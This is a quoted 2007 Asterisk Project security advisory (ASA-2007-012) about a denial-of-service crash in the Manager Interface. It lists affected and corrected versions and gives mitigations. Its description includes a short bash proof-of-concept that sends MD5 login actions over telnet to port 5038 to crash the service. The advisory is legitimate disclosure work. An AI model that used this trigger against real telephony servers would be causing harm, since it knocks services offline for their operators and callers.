> Asterisk Project Security Advisory - ASA-2007-012
>
> +------------------------------------------------------------------------+
> | Product | Asterisk |
> |---------------------+--------------------------------------------------|
> | Summary | Remote Crash Vulnerability in Manager Interface |
> |---------------------+--------------------------------------------------|
> | Nature of Advisory | Denial of Service |
> |---------------------+--------------------------------------------------|
> | Susceptibility | Remote Unauthenticated Sessions |
> |---------------------+--------------------------------------------------|
> | Severity | Moderate |
> |---------------------+--------------------------------------------------|
> | Exploits Known | Yes |
> |---------------------+--------------------------------------------------|
> | Reported On | April 24, 2007 |
> |---------------------+--------------------------------------------------|
> | Reported By | Digium Technical Support |
> |---------------------+--------------------------------------------------|
> | Posted On | April 24, 2007 |
> |---------------------+--------------------------------------------------|
> | Last Updated On | April 24, 2007 |
> |---------------------+--------------------------------------------------|
> | Advisory Contact | russell@xxxxxxxxxx |
> +------------------------------------------------------------------------+
>
> +------------------------------------------------------------------------+
> | Description | The Asterisk Manager Interface has a remote crash |
> | | vulnerability. If a manager user is configured in |
> | | manager.conf without a password, and then a connection |
> | | is made that attempts to use that username and MD5 |
> | | authentication, Asterisk will dereference a NULL pointer |
> | | and crash. |
> | | |
> | | This example script shows how the crash can be |
> | | triggered: |
> | | |
> | | #!/bin/bash |
> | | |
> | | function text1() { |
> | | |
> | | cat <<- EOF |
> | | |
> | | action: Challenge |
> | | |
> | | actionid: 0# |
> | | |
> | | authtype: MD5 |
> | | |
> | | EOF |
> | | |
> | | } |
> | | |
> | | function text2() { |
> | | |
> | | cat <<- EOF |
> | | |
> | | action: Login |
> | | |
> | | actionid: 1# |
> | | |
> | | key: textstringhere |
> | | |
> | | username: testuser |
> | | |
> | | authtype: MD5 |
> | | |
> | | EOF |
> | | |
> | | } |
> | | |
> | | (sleep 1; text1; sleep 1; text2 ) | telnet 127.0.0.1 |
> | | 5038 |
> +------------------------------------------------------------------------+
>
> +------------------------------------------------------------------------+
> | Resolution | The manager interface is not enabled by default. If it is |
> | | enabled, the only way this crash can be exploited is if a |
> | | user exists in manager.conf without a password. Given the |
> | | conditions necessary for this problem to be exploited, |
> | | the severity of this issue is marked as 'moderate'. |
> | | |
> | | All users of the Asterisk manager interface in affected |
> | | versions should ensure that there are no accounts in |
> | | manager.conf. Alternatively, the issue can be avoided by |
> | | completely disabling the manager interface. |
> | | |
> | | Users of the manager interface are encouraged to update |
> | | to the appropriate version of their Asterisk product |
> | | listed in the 'Corrected In' section below. |
> +------------------------------------------------------------------------+
>
> +------------------------------------------------------------------------+
> | Affected Versions |
> |------------------------------------------------------------------------|
> | Product | Release | |
> | | Series | |
> |------------------------------+-------------+---------------------------|
> | Asterisk Open Source | 1.0.x | All versions |
> |------------------------------+-------------+---------------------------|
> | Asterisk Open Source | 1.2.x | All versions prior to |
> | | | 1.2.18 |
> |------------------------------+-------------+---------------------------|
> | Asterisk Open Source | 1.4.x | All versions prior to |
> | | | 1.4.3 |
> |------------------------------+-------------+---------------------------|
> | Asterisk Business Edition | A.x.x | All versions |
> |------------------------------+-------------+---------------------------|
> | Asterisk Business Edition | B.x.x | All versions up to and |
> | | | including B.1.3 |
> |------------------------------+-------------+---------------------------|
> | AsteriskNOW | pre-release | All version up to and |
> | | | including Beta5 |
> |------------------------------+-------------+---------------------------|
> | Asterisk Appliance Developer | 0.x.x | All versions prior to |
> | Kit | | 0.4.0 |
> +------------------------------------------------------------------------+
>
> +------------------------------------------------------------------------+
> | Corrected In |
> |------------------------------------------------------------------------|
> | Product | Release |
> |-------------------+----------------------------------------------------|
> | Asterisk Open | 1.2.18 and 1.4.3, available from |
> | Source | ftp://ftp.digium.com/pub/telephony/asterisk |
> |-------------------+----------------------------------------------------|
> | Asterisk Business | B.1.3.3, available from the Asterisk Business |
> | Edition | Edition user portal on http://www.digium.com or |
> | | via Digium Technical Support |
> |-------------------+----------------------------------------------------|
> | AsteriskNOW | Beta6, when available from |
> | | http://www.asterisknow.org/. Beta5 can use the |
> | | system update feature in the appliance control |
> | | panel. |
> |-------------------+----------------------------------------------------|
> | Asterisk | 0.4.0, available from |
> | Appliance | ftp://ftp.digium.com/pub/telephony/aadk/ |
> | Developer Kit | |
> +------------------------------------------------------------------------+
>
> +------------------------------------------------------------------------+
> | Links | |
> +------------------------------------------------------------------------+
>
> +------------------------------------------------------------------------+
> | Asterisk Project Security Advisories are posted at |
> | http://www.asterisk.org/security. |
> | |
> | This document may be superseded by later versions; if so, the latest |
> | version will be posted at |
> | http://www.asterisk.org/files/ASA-2007-012.pdf. |
> +------------------------------------------------------------------------+
>
> Asterisk Project Security Advisory - ASA-2007-012
> Copyright (c) 2007 Digium, Inc. All Rights Reserved.
> Permission is hereby granted to distribute and publish this advisory in its
> original, unaltered form.
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